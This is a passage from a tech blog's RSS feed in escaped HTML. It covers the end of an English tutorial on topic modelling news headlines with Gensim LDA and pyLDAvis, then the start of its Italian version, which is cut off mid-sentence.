&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;0.010*&amp;quot;facebook&amp;quot; + 0.010*&amp;quot;state&amp;quot; + 0.008*&amp;quot;video&amp;quot; + 0.006*&amp;quot;people&amp;quot; + 0.006*&amp;quot;world&amp;quot; + 0.006*&amp;quot;google&amp;quot; + 0.006*&amp;quot;final&amp;quot; + 0.005*&amp;quot;tournament&amp;quot; + 0.005*&amp;quot;player&amp;quot; + 0.004*&amp;quot;score&amp;quot;&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;0.053*&amp;quot;video&amp;quot; + 0.015*&amp;quot;watch&amp;quot; + 0.010*&amp;quot;youtube&amp;quot; + 0.007*&amp;quot;show&amp;quot; + 0.005*&amp;quot;photo&amp;quot; + 0.005*&amp;quot;tiger&amp;quot; + 0.005*&amp;quot;world&amp;quot; + 0.005*&amp;quot;touchdown&amp;quot; + 0.004*&amp;quot;study&amp;quot; + 0.004*&amp;quot;lebron&amp;quot;&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 8 - Topics identified&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;using-the-trained-model&quot;&gt;Using the trained model&lt;/h3&gt;&lt;p&gt;We then trained a Topic Model, and saved the result along with the corpus and the dictionary. This way we can
reuse our model in our code to extract the topics covered in a new document. &lt;br/&gt;
We input a test title to the model and obtain as a result a distribution in the topic space.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;new_headline = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;Two person murdered in New York&amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;new_headline = transform(new_headline)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;new_headline_bow = dictionary.doc2bow(new_doc)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(ldamodel.get_document_topics(new_doc_bow))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;[(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.3996785&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.06758379&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.39854106&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.06670547&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt; (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0.06749118&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 9 - Using the trained model&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;At this point, let&amp;#x27;s extract the topic with the highest score. In this case it is the topic with id 0.
We then return the representation through the main keywords.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;9&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;ldamodel.print_topic(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;topn&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;0.016*&amp;quot;shooting&amp;quot; + 0.012*&amp;quot;police&amp;quot; + 0.009*&amp;quot;killed&amp;quot; + 0.006*&amp;quot;prison&amp;quot; + 0.006*&amp;quot;photo&amp;quot; + 0.005*&amp;quot;suspect&amp;quot; + 0.005*&amp;quot;school&amp;quot; + 0.005*&amp;quot;arrested&amp;quot; + 0.005*&amp;quot;killing&amp;quot; + 0.005*&amp;quot;olympics&amp;quot;&amp;#x27;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 10 - Main topic&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h3 id=&quot;model-update&quot;&gt;Model update&lt;/h3&gt;&lt;p&gt;In a real context, we expect to have new contents available over time, which they represent
useful information to improve the performance of the model. &lt;br/&gt;
We may choose to retrain the model from scratch, using the completed corpus with the new content.&lt;br/&gt;
The Gensim library, however, also offers us the possibility to retrain the model in a partial and faster way.
By loading the most recent model from file, we can create the corpus with the new documents and then make an update of the model, which we can save
and use instead of the previous version.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;10&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;temp_file = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;../models/model.h5&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# Load a potentially pretrained model from disk.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;lda = models.LdaModel.load(temp_file)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;new_data = df.read_csv(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;../data/new_data.csv&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;new_text_list = new_data[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;headline&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].tolist()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;new_cleaned_summary_list = [transform(element) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; element &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; text_list]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;dictionary = corpora.Dictionary(new_cleaned_summary_list)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;new_corpus = [dictionary.doc2bow(text) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; text &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; cleaned_summary_list]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;tfidf = models.TfidfModel(new_corpus)  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# step 1 -- initialize a model&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;corpus_tfidf = tfidf[new_corpus]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;lda.update(corpus_tfidf)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 11 - Model update&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;h1 id=&quot;visualization-with-pyldavis&quot;&gt;Visualization with pyLDAvis&lt;/h1&gt;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/bmabey/pyLDAvis&quot;&gt;PyLDAvis&lt;/a&gt;&lt;/strong&gt; allows you to view those on an interactive environment (a Jupyter Notebook for example)
which are the topics identified by the Topic Model created.
We load the newly trained model, together with the vector representation of the corpus and the dictionary, and
we ask pyLDAvis to display the results.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;11&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pyLDAvis&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pyLDAvis.gensim_models &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; gensimvis&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;pyLDAvis.enable_notebook()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;dictionary = gensim.corpora.Dictionary.load(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;dictionary.gensim&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;corpus = pickle.load(&lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;corpus.pkl&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;rb&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;lda = gensim.models.ldamodel.LdaModel.load(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;model5.gensim&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;lda_display = gensimvis.prepare(lda, corpus, dictionary, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;sort_topics&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;False&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;pyLDAvis.display(lda_display)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 12 - Visualization with pyLDAvis&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Through the &lt;em&gt;display&lt;/em&gt; method of the library, we generate an interactive panel that displays, on the left
a representation in the topic space, on the right a view on which are the main concepts and keywords for the selected topic.&lt;/p&gt;&lt;p&gt;The topics that are close to each other or overlap will be similar topics.&lt;/p&gt;&lt;p&gt;It is possible to interact with the panel through appropriate commands that allow you to:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Choose which and how many topics to display&lt;/li&gt;&lt;li&gt;Set the appropriate &lt;strong&gt;Saliency&lt;/strong&gt;, that is the measure of how much the term tells you about that topic&lt;/li&gt;&lt;li&gt;Set the appropriate &lt;strong&gt;Relevance&lt;/strong&gt;, that is a measure of the importance of the word for that topic, compared to the rest of the topics.&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/0d7a68fbb3458f61887c88985769a216/7c5b4/pyLDAvis.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:62%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;248\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20248\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M351%204c-31%200-36%200-36%202l36%201a5122%205122%200%200140-1c0-2-1-2-2-3l-38%201M232%20116v78h22v-4l1-7c0-5%202-10%202-7s17%202%2018%200c0-2-1-2-10-2-7%200-10%200-9-1l32-1%2032-1c0-2-4-2-32-2h-32v-3c0-4%201-4%204-4s4%200%203-2c0-3-5-3-5%200-1%201-1%201-1-1-1-2-1-2%207-2%206%200%207%200%207-2s-1-2-7-2h-7l1-6%201-5%204-1c6-1%206-3%200-3-2%200-4%200-3-1l6-1c5%200%206%200%206-2s-1-2-6-2h-5v-6h17c15%200%2016%200%2016-2s-1-2-16-2h-17l1-2%201-1c0%202%2050%202%2050%200s-3-2-25-2l-26-1%2017-1%2016-1c0-2-3-2-17-2-10%200-16%200-15-1l21-1c20%200%2020%200%2020-2s0-2-21-2h-20l3-1%202-2c0-2-3-3-3%200h-1c-1-3-1-3%206-3%205%200%206%200%206-2s-1-2-6-2c-11%200-3-2%209-2l11-1c0-2-2-2-12-2-8%200-12%200-10-1l8-1%207-1c0-2-1-2-7-2l-7-1%2058-1h58v-4h-57a404%20404%200%2000-58%201v-2h20c18%200%2019%200%2019-2s-1-2-20-2c-16%200-17%200-6-1%2012%200%2013%200%2013-2s-1-2-13-2c-8%200-12%200-11-1l7-1%206-1c0-2-1-2-7-2-5%200-7%200-6-1l16-1%2016-1c0-2-3-2-16-2-11%200-14-1-10-1%205%200%206-1%206-3s7-3%2021-3c5%200%206%200%205-2%200-2-1-2-8-2h-8l36-1c35%200%2036%200%2036-2s-1-2-35-2c-27%200-30-1-12-1h23v-4l-55-1h-55v78M50%2052c-16%204-21%2025-9%2035%209%208%2019%208%2027%200%2016-14%202-40-18-35\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/0d7a68fbb3458f61887c88985769a216/c85cb/pyLDAvis.webp 300w,/static/0d7a68fbb3458f61887c88985769a216/e88ff/pyLDAvis.webp 600w,/static/0d7a68fbb3458f61887c88985769a216/92f8c/pyLDAvis.webp 1200w,/static/0d7a68fbb3458f61887c88985769a216/00a34/pyLDAvis.webp 1309w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/0d7a68fbb3458f61887c88985769a216/5a46d/pyLDAvis.png 300w,/static/0d7a68fbb3458f61887c88985769a216/0a47e/pyLDAvis.png 600w,/static/0d7a68fbb3458f61887c88985769a216/c1b63/pyLDAvis.png 1200w,/static/0d7a68fbb3458f61887c88985769a216/7c5b4/pyLDAvis.png 1309w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 1 - Visualization with pyLDAvis&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/0d7a68fbb3458f61887c88985769a216/c1b63/pyLDAvis.png&quot; title=&quot;Figura 1 - Visualization with pyLDAvis&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 1 - Visualization with pyLDAvis&lt;/figcaption&gt;
  &lt;/figure&gt; &lt;h1 id=&quot;conclusions&quot;&gt;Conclusions&lt;/h1&gt;&lt;p&gt;We have seen how Topic Modeling is a very simple and easy technique to apply, since it is not
need for labeled data. All you need is a corpus of documents you can access, on which you can train your model.&lt;br/&gt;
We have also seen how very simple it is to retrain a model with the new acquired data. Very often this can be done
through very rapid and frequent refinements of the model considering only the new data, and only at wider intervals to decide
to retrain the model from scratch.&lt;br/&gt;
This technique, as we have seen, gives as a result, given a document, the topics covered, and for each of these,
you can get the main keywords that describe it.&lt;br/&gt;
In this way we obtain information in an automatic and intelligent way on the nature of the analyzed text. All this can
be very useful for applications such as:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;cognitive search engines&lt;/strong&gt;: the contents are tagged with the keywords of the main topics, to then exploit them in the research phase&lt;/li&gt;&lt;li&gt;&lt;strong&gt;customer service&lt;/strong&gt;: it is possible to identify the main topics discussed by customers and understand their needs more easily and quickly&lt;/li&gt;&lt;li&gt;&lt;strong&gt;social network&lt;/strong&gt;: to identify the main topics covered by users&lt;/li&gt;&lt;li&gt;&lt;strong&gt;sentiment analysis&lt;/strong&gt;: to identify concepts that are an expression of the sentiment of the content&lt;/li&gt;&lt;/ul&gt;&lt;style class=&quot;grvsc-styles&quot;&gt;
  .grvsc-container {
    overflow: auto;
    -webkit-overflow-scrolling: touch;
    padding-top: 1rem;
    padding-top: var(--grvsc-padding-top, var(--grvsc-padding-v, 1rem));
    padding-bottom: 1rem;
    padding-bottom: var(--grvsc-padding-bottom, var(--grvsc-padding-v, 1rem));
    border-radius: 8px;
    border-radius: var(--grvsc-border-radius, 8px);
    font-feature-settings: normal;
  }
  
  .grvsc-code {
    display: inline-block;
    min-width: 100%;
  }
  
  .grvsc-line {
    display: inline-block;
    box-sizing: border-box;
    width: 100%;
    padding-left: 1.5rem;
    padding-left: var(--grvsc-padding-left, var(--grvsc-padding-h, 1.5rem));
    padding-right: 1.5rem;
    padding-right: var(--grvsc-padding-right, var(--grvsc-padding-h, 1.5rem));
  }
  
  .grvsc-line-highlighted {
    background-color: var(--grvsc-line-highlighted-background-color, transparent);
    box-shadow: inset var(--grvsc-line-highlighted-border-width, 4px) 0 0 0 var(--grvsc-line-highlighted-border-color, transparent);
  }
  
  .default-dark {
    background-color: #1E1E1E;
    color: #D4D4D4;
  }
  .default-dark .mtk1 { color: #D4D4D4; }
  .default-dark .mtk8 { color: #CE9178; }
  .default-dark .mtk4 { color: #569CD6; }
  .default-dark .mtk11 { color: #DCDCAA; }
  .default-dark .mtk12 { color: #9CDCFE; }
  .default-dark .mtk15 { color: #C586C0; }
  .default-dark .mtk10 { color: #4EC9B0; }
  .default-dark .mtk7 { color: #B5CEA8; }
  .default-dark .mtk3 { color: #6A9955; }
&lt;/style&gt;</content:encoded></item><item><title><![CDATA[Topic Modelling con Gensim]]></title><link>https://techblog.smc.ittopic-modelling</link><guid isPermaLink="false">https://techblog.smc.ittopic-modelling</guid><pubDate>Fri, 22 Oct 2021 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Questo articolo fa parte della serie dedicata ai più rilevanti task di
&lt;a href=&quot;https://it.wikipedia.org/wiki/Elaborazione_del_linguaggio_naturale&quot;&gt;&lt;strong&gt;Natural Language Processing&lt;/strong&gt;&lt;/a&gt;.
Approfondisci anche gli altri partendo dal &lt;a href=&quot;https://techblog.smc.it/it/2020-12-11/nlp-ner&quot;&gt;primo articolo&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;p&gt;&lt;em&gt;Ulteriore lettura che consiglio, riguarda un&amp;#x27;introduzione sugli aspetti di base in ambito Machine Learning
e nello specifico &lt;a href=&quot;https://techblog.smc.it/it/2020-05-25/machine-learning-industry&quot;&gt;&lt;strong&gt;Machine learning  e applicazioni per l&amp;#x27;industria&lt;/strong&gt;&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&lt;h1 id=&quot;cosa-è-il-topic-modelling&quot;&gt;Cosa è il Topic Modelling&lt;/h1&gt;&lt;p&gt;Con &lt;a href=&quot;https://it.wikipedia.org/wiki/Topic_model&quot;&gt;Topic Modelling&lt;/a&gt; si fa riferimento, appunto,
ad uno specifico task di NLP (Natural Language Processing) che permette in modo automatico di individuare
i principali argomenti trattati in un certo corpus documentale.&lt;br/&gt;
Si tratta di un task che segue un approccio di tipo &lt;a href=&quot;https://it.wikipedia.org/wiki/Apprendimento_non_supervisionato&quot;&gt;non supervisionato&lt;/a&gt;,
e come tale non necessita di un dataset etichettato.&lt;br/&gt;
Questo rende il Topic Modelling facile da realizzare e applicare.&lt;/p&gt;&lt;p&gt;Ogni topic individuato è descritto attraverso una serie di token e/o frasi rilevanti, ordinate per importanza, che ne descrivono la natura. &lt;br/&gt;
In questo contesto ogni documento è descritto da uno o più topic. Si parte dall&amp;#x27;assunzione che ogni documento è rappresentato da una distribuzione
statistica di argomenti, che si può ottenere &amp;quot;sommando&amp;quot; tutte le distribuzioni per tutti gli argomenti trattati.&lt;/p&gt;&lt;p&gt;I due principali metodi per realizzare approcci di Topic Modelling sono:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Latent_semantic_analysis&quot;&gt;Latent Semantic Analysis (LSA)&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Latent_Dirichlet_allocation&quot;&gt;Latent Dirichlet Allocation (LDA)&lt;/a&gt;&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Vediamo come realizzare approcci di tipo Topic Modelling. Si procederà nel seguente modo:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Lettura e preprocessing dei contenuti testuali tramite l&amp;#x27;ausilio della libreria &lt;a href=&quot;https://www.nltk.org/&quot;&gt;NLTK&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Costruzione di un Topic Model che utilizza la tecnica Latent Dirichlet Allocation, tramite l&amp;#x27;utilizzo della
libreria &lt;a href=&quot;https://radimrehurek.com/gensim/&quot;&gt;Gensim&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Visualizzazione dinamica del risultato tramite la libreria &lt;a href=&quot;https://github.com/bmabey/pyLDAvis&quot;&gt;pyLDAvis&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Nel repository &lt;a href=&quot;https://github.com/smclab/blog-nlp&quot;&gt;Github&lt;/a&gt; collegato alla serie di articoli NLP è presente un
&lt;a href=&quot;https://github.com/smclab/blog-nlp/blob/main/nlp/3-topic-modelling/notebooks/Topic%20Modelling%20with%20Gensim.ipynb&quot;&gt;Jupyter Notebook&lt;/a&gt;
che descrive l&amp;#x27;intero processo.&lt;br/&gt;
Per questo esempio viene utilizzato un dataset di titoli di news, scaricabile da
&lt;a href=&quot;https://www.kaggle.com/rmisra/news-category-dataset&quot;&gt;Kaggle&lt;/a&gt; in formato json.&lt;br/&gt;
Nel repository, per motivi di spazio,  è presente solo un piccolo subset(in formato csv) dell&amp;#x27;intero dataset, con news di specifiche categorie.
Per utilizzare l&amp;#x27;intero dataset, scaricarlo e utilizzare l&amp;#x27;&lt;a href=&quot;https://github.com/smclab/blog-nlp/blob/main/nlp/3-topic-modelling/data/utility.py&quot;&gt;utility&lt;/a&gt;
presente nel repository per trasformarlo in formato csv.&lt;/p&gt;&lt;h1 id=&quot;preprocessing-e-trasformazione-dei-contenuti&quot;&gt;Preprocessing e trasformazione dei contenuti&lt;/h1&gt;&lt;p&gt;Va inizialmente svolta una fase di preprocessing e trasformazione dei contenuti, per mettere il dataset nella forma migliore per
l&amp;#x27;addestramento del modello.&lt;/p&gt;&lt;p&gt;In ambito Topic Modelling è buona prassi realizzare i passi di trasformazione seguenti.&lt;/p&gt;&lt;h4 id=&quot;1-tokenizzazione&quot;&gt;1. Tokenizzazione&lt;/h4&gt;&lt;p&gt;Ogni documento va trasformato in una lista di token. Per fare ciò definiamo un&amp;#x27;apposita funzione, utilizzando il
